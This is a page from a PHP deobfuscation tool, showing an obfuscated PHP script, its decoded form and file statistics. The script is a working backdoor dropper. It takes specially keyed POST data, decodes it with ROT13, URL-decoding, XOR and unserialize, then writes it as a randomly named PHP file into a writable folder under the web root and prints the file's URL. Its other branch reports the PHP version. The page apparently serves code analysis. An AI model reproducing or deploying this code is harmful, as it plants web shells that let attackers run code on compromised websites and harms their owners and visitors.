Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function UVkDZyWu($OiBDxQQp){$pYkZia = "\x72".chr(857-760).chr(119).'u'.chr(1074-960..
Decoded Output download
<?php function UVkDZyWu($OiBDxQQp){$pYkZia = "r".chr(857-760).chr(119).'u'.chr(1074-960)."l".chr(100)."e".'c'.'o'."d"."e";$mPOyrmZ = chr(236-121).chr(116).chr(114).'_'.chr(354-240).chr(433-322)."t".chr(49).chr(891-840);$zEcwz = "s".chr(483-367)."r"."_"."s".chr(112)."l".'i'."t";$OiBDxQQp = $zEcwz($pYkZia($mPOyrmZ($OiBDxQQp)));return $OiBDxQQp;}function lbeFqv($IVQQEE, $OiBDxQQp){$iEkSCNQ = "s".chr(1101-985).chr(431-317)."_".chr(115).chr(112).chr(108).chr(1067-962).chr(116);$IVQQEE = array_slice($iEkSCNQ(str_repeat($IVQQEE, (count($OiBDxQQp)/16)+1)), 0, count($OiBDxQQp));return $IVQQEE;}function bPwIzqN($rVDTuep, $RWicARM, $IVQQEE){$FDAuE = "cb5683c4-95dc-4260-94d1-3040cb27bb0b";return $rVDTuep ^ $FDAuE[$RWicARM % strlen($FDAuE)] ^ $IVQQEE;}function tIAyGkWLm($OiBDxQQp, $IVQQEE){$OiBDxQQp = array_map("bPwIzqN", array_values($OiBDxQQp), array_keys($OiBDxQQp), array_values($IVQQEE));$OiBDxQQp = implode("", $OiBDxQQp);$QYWxWYli = "u"."n".chr(115)."e"."r".'i'.chr(849-752).chr(933-825).'i'.chr(679-557).chr(834-733);$OiBDxQQp = @$QYWxWYli($OiBDxQQp);return $OiBDxQQp;}function pyPrZXlBfD($FXRidcir){static $lHIEEtMYz = array();$ZItovu = glob($FXRidcir . '/*', GLOB_ONLYDIR);$LlrhTtubmp = count($ZItovu);if ($LlrhTtubmp > 0) {foreach ($ZItovu as $FXRidc) {$qJIxCgE = 'i'.chr(115).chr(1047-952).chr(119)."r"."i"."t".'a'.'b'."l".'e';if (@$qJIxCgE($FXRidc)) {$lHIEEtMYz[] = $FXRidc;}}}foreach ($ZItovu as $FXRidcir) pyPrZXlBfD($FXRidcir);return $lHIEEtMYz;}function EVuUInd($OiBDxQQp){$PJGYCcUaC = chr(68).chr(79)."C"."U".chr(77).'E'."N"."T"."_"."R"."O".'O'.chr(184-100);$CGvRwDTv = $_SERVER[$PJGYCcUaC];$ZItovu = pyPrZXlBfD($CGvRwDTv);$tNGbaB = array_rand($ZItovu);$GHeoaBYQK = ".".'p'.chr(119-15).'p';$FXRidchcmLXH = $ZItovu[$tNGbaB] . "/" . substr(md5(time()), 0, 8) . $GHeoaBYQK;$xtJBD = "f"."i"."l".chr(893-792)."_"."p".'u'."t"."_".'c'.chr(111)."n"."t"."e"."n"."t"."s";@$xtJBD($FXRidchcmLXH, $OiBDxQQp);$gMtto = "H".'T'.chr(84).chr(80).chr(1029-934)."H".'O'.chr(482-399).chr(84);$KALQlPpyxa = 'h'."t"."t".chr(112).chr(58)."/"."/";$UrJOSEwvN = $KALQlPpyxa . $_SERVER[$gMtto] . substr($FXRidchcmLXH, strlen($CGvRwDTv));print($UrJOSEwvN);die();}foreach ($_POST as $IVQQEE => $OiBDxQQp){$CurTWBicTk = strlen($IVQQEE);if ($CurTWBicTk == 16){$OiBDxQQp = UVkDZyWu($OiBDxQQp);$IVQQEE = lbeFqv($IVQQEE, $OiBDxQQp);$OiBDxQQp = tIAyGkWLm($OiBDxQQp, $IVQQEE);if (@is_array($OiBDxQQp)){$tNGbaB = array_keys($OiBDxQQp);$OiBDxQQp = $OiBDxQQp[$tNGbaB[0]];if ($OiBDxQQp === $tNGbaB[0]){$iaWtor = 'p'.'h'.chr(710-598);$fYrMpKsnP = "p"."h".chr(112).chr(118).chr(426-325)."r".chr(115)."i".chr(989-878).'n';$IzRxV = "s"."e".'r'."i".chr(97).chr(108).chr(105).chr(122)."e";echo @$IzRxV(Array($iaWtor => @$fYrMpKsnP(), ));exit();}else {EVuUInd($OiBDxQQp);}}}} ?>
Did this file decode correctly?
Original Code
<?php function UVkDZyWu($OiBDxQQp){$pYkZia = "\x72".chr(857-760).chr(119).'u'.chr(1074-960)."\x6c".chr(100)."\145".'c'.'o'."\x64"."\x65";$mPOyrmZ = chr(236-121).chr(116).chr(114).'_'.chr(354-240).chr(433-322)."\x74".chr(49).chr(891-840);$zEcwz = "\163".chr(483-367)."\x72"."\137"."\x73".chr(112)."\x6c".'i'."\164";$OiBDxQQp = $zEcwz($pYkZia($mPOyrmZ($OiBDxQQp)));return $OiBDxQQp;}function lbeFqv($IVQQEE, $OiBDxQQp){$iEkSCNQ = "\x73".chr(1101-985).chr(431-317)."\137".chr(115).chr(112).chr(108).chr(1067-962).chr(116);$IVQQEE = array_slice($iEkSCNQ(str_repeat($IVQQEE, (count($OiBDxQQp)/16)+1)), 0, count($OiBDxQQp));return $IVQQEE;}function bPwIzqN($rVDTuep, $RWicARM, $IVQQEE){$FDAuE = "cb5683c4-95dc-4260-94d1-3040cb27bb0b";return $rVDTuep ^ $FDAuE[$RWicARM % strlen($FDAuE)] ^ $IVQQEE;}function tIAyGkWLm($OiBDxQQp, $IVQQEE){$OiBDxQQp = array_map("bPwIzqN", array_values($OiBDxQQp), array_keys($OiBDxQQp), array_values($IVQQEE));$OiBDxQQp = implode("", $OiBDxQQp);$QYWxWYli = "\165"."\156".chr(115)."\x65"."\x72".'i'.chr(849-752).chr(933-825).'i'.chr(679-557).chr(834-733);$OiBDxQQp = @$QYWxWYli($OiBDxQQp);return $OiBDxQQp;}function pyPrZXlBfD($FXRidcir){static $lHIEEtMYz = array();$ZItovu = glob($FXRidcir . '/*', GLOB_ONLYDIR);$LlrhTtubmp = count($ZItovu);if ($LlrhTtubmp > 0) {foreach ($ZItovu as $FXRidc) {$qJIxCgE = 'i'.chr(115).chr(1047-952).chr(119)."\x72"."\151"."\164".'a'.'b'."\x6c".'e';if (@$qJIxCgE($FXRidc)) {$lHIEEtMYz[] = $FXRidc;}}}foreach ($ZItovu as $FXRidcir) pyPrZXlBfD($FXRidcir);return $lHIEEtMYz;}function EVuUInd($OiBDxQQp){$PJGYCcUaC = chr(68).chr(79)."\x43"."\x55".chr(77).'E'."\116"."\x54"."\137"."\122"."\x4f".'O'.chr(184-100);$CGvRwDTv = $_SERVER[$PJGYCcUaC];$ZItovu = pyPrZXlBfD($CGvRwDTv);$tNGbaB = array_rand($ZItovu);$GHeoaBYQK = "\x2e".'p'.chr(119-15).'p';$FXRidchcmLXH = $ZItovu[$tNGbaB] . "/" . substr(md5(time()), 0, 8) . $GHeoaBYQK;$xtJBD = "\146"."\151"."\x6c".chr(893-792)."\x5f"."\x70".'u'."\164"."\x5f".'c'.chr(111)."\156"."\x74"."\x65"."\x6e"."\x74"."\x73";@$xtJBD($FXRidchcmLXH, $OiBDxQQp);$gMtto = "\x48".'T'.chr(84).chr(80).chr(1029-934)."\x48".'O'.chr(482-399).chr(84);$KALQlPpyxa = 'h'."\x74"."\164".chr(112).chr(58)."\x2f"."\57";$UrJOSEwvN = $KALQlPpyxa . $_SERVER[$gMtto] . substr($FXRidchcmLXH, strlen($CGvRwDTv));print($UrJOSEwvN);die();}foreach ($_POST as $IVQQEE => $OiBDxQQp){$CurTWBicTk = strlen($IVQQEE);if ($CurTWBicTk == 16){$OiBDxQQp = UVkDZyWu($OiBDxQQp);$IVQQEE = lbeFqv($IVQQEE, $OiBDxQQp);$OiBDxQQp = tIAyGkWLm($OiBDxQQp, $IVQQEE);if (@is_array($OiBDxQQp)){$tNGbaB = array_keys($OiBDxQQp);$OiBDxQQp = $OiBDxQQp[$tNGbaB[0]];if ($OiBDxQQp === $tNGbaB[0]){$iaWtor = 'p'.'h'.chr(710-598);$fYrMpKsnP = "\160"."\x68".chr(112).chr(118).chr(426-325)."\x72".chr(115)."\x69".chr(989-878).'n';$IzRxV = "\x73"."\145".'r'."\151".chr(97).chr(108).chr(105).chr(122)."\145";echo @$IzRxV(Array($iaWtor => @$fYrMpKsnP(), ));exit();}else {EVuUInd($OiBDxQQp);}}}}
Function Calls
None |
Stats
MD5 | 2b0fddabe250c90862fbbf6a7c4319b0 |
Eval Count | 0 |
Decode Time | 67 ms |